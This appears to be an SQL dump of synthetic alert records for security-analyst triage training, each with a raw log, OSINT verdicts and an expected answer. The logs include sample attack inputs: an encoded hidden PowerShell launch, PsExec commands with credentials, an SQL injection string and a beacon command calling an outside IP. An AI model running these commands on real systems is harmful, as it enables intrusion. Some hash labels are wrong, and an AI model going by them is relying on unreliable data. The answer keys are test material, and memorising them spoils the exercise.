(676, 'Detected Fileless Malware Execution', 'critical', 'EDR', 'A fileless malware was executed in memory using PowerShell, evading traditional file-based detection mechanisms.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:05:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.15\",\"dst_ip\":\"192.168.100.15\",\"username\":\"jsmith\",\"hostname\":\"desktop-12\",\"command_line\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 11:56:38', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc JABQAGkATwB1AG4ARABjAGUATQBzAGcA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command for fileless malware execution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No associated file, possible fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell for in-memory execution indicates advanced evasion tactics.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(677, 'Suspicious DNS Queries to DGA Domain', 'high', 'Firewall', 'Detected multiple DNS queries to a domain generated by a domain generation algorithm (DGA), often used for botnet communications.', 'Malware', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:50:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.10.25\",\"dst_ip\":\"198.51.100.50\",\"username\":\"tadmin\",\"hostname\":\"office-pc\",\"domain\":\"a1b2c3d4e5f6g7h8.com\"}', '2026-01-09 22:50:34', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"a1b2c3d4e5f6g7h8.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with DGA botnet activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the querying host\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of DGA domains in DNS queries suggests botnet communication.\"}', 'Expert', 'MAL', 9, 1, 'GOVERNMENT'),
(678, 'Web Attack: SQL Injection Attempt Detected', 'high', 'IDS/IPS', 'An attacker attempted an SQL injection attack on the corporate web application, potentially exploiting vulnerabilities to exfiltrate data.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:20:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.100\",\"username\":\"guest\",\"hostname\":\"web-server\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-09 20:58:06', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Internal IP address of web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body indicates a classic SQL injection attempt, warranting investigation.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(679, 'Unauthorized Access Attempt via PSExec', 'critical', 'EDR', 'Detected unauthorized use of PSExec for lateral movement within the network, indicating a potential compromise of administrative credentials.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.20.15\",\"dst_ip\":\"192.168.20.20\",\"username\":\"administrator\",\"hostname\":\"server-01\",\"command_line\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\"}', '2026-01-10 04:57:21', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.20.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of unauthorized PSExec execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.20.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP targeted for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec command used for unauthorized access\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with administrative credentials suggests lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(680, 'Innocuous User Activity Mistaken for Attack', 'low', 'SIEM', 'A legitimate user activity was flagged as suspicious due to unusual but authorized access patterns.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.30.5\",\"dst_ip\":\"192.168.30.10\",\"username\":\"jane.doe\",\"hostname\":\"desktop-01\",\"request_body\":\"\"}', '2026-01-09 22:30:49', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.30.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Management System\",\"verdict\":\"clean\",\"details\":\"Authorized user with legitimate access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was flagged due to unusual login patterns but was found to be legitimate upon review.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(681, 'Phishing Email Detected with Clean URL', 'medium', 'Email Gateway', 'A phishing email was detected; however, the URL was verified as clean after further analysis.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:40:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.10\",\"dst_ip\":\"192.168.5.10\",\"username\":\"mjohnson\",\"hostname\":\"mail-server\",\"email_sender\":\"info@securemail.com\",\"url\":\"http://legitimate-site.com\"}', '2026-01-10 17:07:54', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@securemail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address associated with previous phishing attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://legitimate-site.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL verified as legitimate\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was initially flagged due to the sender\'s history, but the URL was found to be legitimate.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT'),
(682, 'DNS Query to Benign Domain Mistaken for DGA', 'low', 'Firewall', 'A DNS query was flagged for potential DGA activity, but the domain was verified as part of legitimate testing activity.', 'Malware', 'T1568', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.40.5\",\"dst_ip\":\"192.168.40.5\",\"username\":\"qauser\",\"hostname\":\"test-machine\",\"domain\":\"test-domain-1234.com\"}', '2026-01-11 07:40:24', '2026-01-11 14:57:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"test-domain-1234.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Domain used for internal testing purposes\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.40.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP address of a test machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The domain was mistaken for a DGA domain but is used for legitimate testing.\"}', 'Expert', 'MAL', 9, 1, 'OT_ICS'),
(683, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike Beacon associated with LockBit 3.0 ransomware was detected communicating with a known malicious IP. Indicators show initial access was achieved via compromised RDP credentials.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"file_hash\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\"}', '2026-01-10 04:57:56', '2026-01-11 14:59:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities associated with ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a Cobalt Strike payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Cobalt Strike beacon activity detected from internal server communicating with known ransomware-associated IP.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT'),
(684, 'Suspicious Email Detected - Potential Phishing', 'high', 'Proofpoint', 'An email purporting to be from a trusted source contained a link to a known phishing domain. The email was flagged due to domain spoofing and suspicious attachments.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"username\":\"asanchez\",\"hostname\":\"USER-LAPTOP02\",\"email_sender\":\"no-reply@trustedsource.com\",\"url\":\"http://phishing-link.example.com\"}', '2026-01-10 12:47:27', '2026-01-11 14:59:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain does not match known trusted sources\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain targeting financial credentials\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for sending phishing emails\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Email contained a link to a known phishing domain and originated from a suspicious IP.\"}', 'Expert', 'NDR', 9, 1, 'FINANCE'),
(685, 'False Positive: Unusual Network Scanning Activity', 'medium', 'Wazuh', 'A network scanning tool was detected running on an internal server. Analysis revealed it was part of a scheduled vulnerability assessment.', 'Network Activity', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:15:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SCAN01\",\"command_line\":\"nmap -sV 10.0.0.50\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 12:38:44', '2026-01-11 14:59:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"nmap -sV 10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution aligns with scheduled vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of authorized scanner\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of scanned server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The activity corresponds to an authorized vulnerability scan and is not malicious.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(686, 'BlackCat/ALPHV Ransomware Pre-Encryption Reconnaissance Detected', 'critical', 'Splunk', 'Pre-encryption reconnaissance activities linked to the BlackCat/ALPHV ransomware group were detected. Attackers used PsExec for lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:05:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.45\",\"username\":\"administrator\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\"}', '2026-01-10 02:32:48', '2026-01-11 14:59:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec usage consistent with lateral movement by ransomware groups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec detected being used for lateral movement indicative of ransomware pre-encryption reconnaissance.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(687, 'Brute Force Attack Detected on RDP Service', 'high', 'Wazuh', 'Multiple failed login attempts detected from an external IP address targeting the RDP service on the network. The source IP is associated with known malicious activity.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:15:24Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.92.26.102\",\"dst_ip\":\"192.168.1.10\",\"username\":\"administrator\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-11 02:30:22', '2026-01-11 15:02:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.26.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common username for administrative access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has a high number of reports related to brute force activity, confirming this is a legitimate attack.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT'),
(688, 'Malware Detected - LockBit 3.0 Ransomware', 'critical', 'CrowdStrike', 'A known ransomware file associated with LockBit 3.0 was executed on a corporate workstation. The file hash matches a known malicious signature.', 'Malware', 'T1486', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:37:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"hostname\":\"workstation-05\",\"command_line\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"file_hash\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\"}', '2026-01-10 08:45:54', '2026-01-11 15:02:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 55 antivirus engines as LockBit 3.0 ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with ransomware deployment\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is confirmed malicious with a high detection rate on VirusTotal, indicating a true positive ransomware attack.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(689, 'Phishing Email Containing Malicious URL', 'medium', 'Proofpoint', 'A phishing email purporting to be from a legitimate service was received by a user. The email contains a URL leading to a fake login page.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:22:10Z\",\"event_type\":\"email_received\",\"email_sender\":\"no-reply@secure-login.com\",\"username\":\"jdoe\",\"hostname\":\"mailserver-01\",\"url\":\"http://malicious-login.com/login\"}', '2026-01-09 23:23:58', '2026-01-11 15:02:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@secure-login.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email sender domain detected in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to a phishing page attempting to steal credentials\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_url\",\"warn_user\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL in the email is confirmed malicious and is a known phishing site attempting to harvest credentials.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(690, 'Suspicious Network Connection from Internal System', 'low', 'Firewall', 'A network connection was observed from an internal system to an external IP address. The connection was flagged due to unusual activity patterns.', 'Network Anomaly', 'N/A', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:02:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"203.0.113.55\",\"hostname\":\"workstation-12\"}', '2026-01-10 14:41:41', '2026-01-11 15:02:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The external IP has no malicious activity reports, indicating this is likely benign activity.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT'),
(691, 'Ransomware Attack Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon was detected on the network, originating from an external IP address known for malicious activity. The beacon was executed on a compromised internal machine, indicating potential ransomware deployment.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-WS-123\",\"command_line\":\"C:\\\\Program Files\\\\Common Files\\\\cs.exe -connect 203.0.113.45:443\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-09 17:36:25', '2026-01-11 15:03:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting Cobalt Strike C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Cobalt Strike payloads.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a Cobalt Strike beacon indicates an active attempt to deploy ransomware, necessitating immediate remediation.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS'),
(692, 'Suspicious Login Attempts Detected from Foreign IP', 'high', 'Wazuh', 'Multiple failed login attempts were detected from an IP address located in a region with no known business operations. This could indicate a potential brute force attack.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.77\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER-01\",\"failed_attempts\":25}', '2026-01-09 16:58:08', '2026-01-11 15:03:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP frequently reported for login brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username for brute force attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-SERVER-01\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by brute force attempts.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a suspicious IP address suggest a brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(693, 'Phishing Email with Malicious URL Detected', 'medium', 'Proofpoint', 'A phishing email was detected containing a malicious URL intended to harvest user credentials. The email was sent from a spoofed domain mimicking a trusted partner.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:20Z\",\"event_type\":\"email_received\",\"email_sender\":\"alerts@trusted-partner.com\",\"username\":\"asmith\",\"malicious_url\":\"http://malicious-url.com/login\"}', '2026-01-09 20:28:49', '2026-01-11 15:03:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@trusted-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email domain appears to be spoofed.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for phishing attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user targeted by phishing attempt.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL and spoofed domain indicate a phishing attempt to steal user credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(694, 'Failed RDP Access from Known Safe IP', 'low', 'Firewall', 'A failed RDP access attempt was logged from an IP address previously whitelisted for remote connections. The activity appears to be benign.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"mnguyen\",\"hostname\":\"CORP-RDP-SERVER\",\"failed_attempts\":3}', '2026-01-10 16:12:35', '2026-01-11 15:03:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"IP address is whitelisted for remote access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mnguyen\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User confirmed to have attempted RDP login.\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"CORP-RDP-SERVER\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"RDP server receiving authorized connection attempts.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is whitelisted, indicating the failed login attempts are likely a result of user error rather than malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
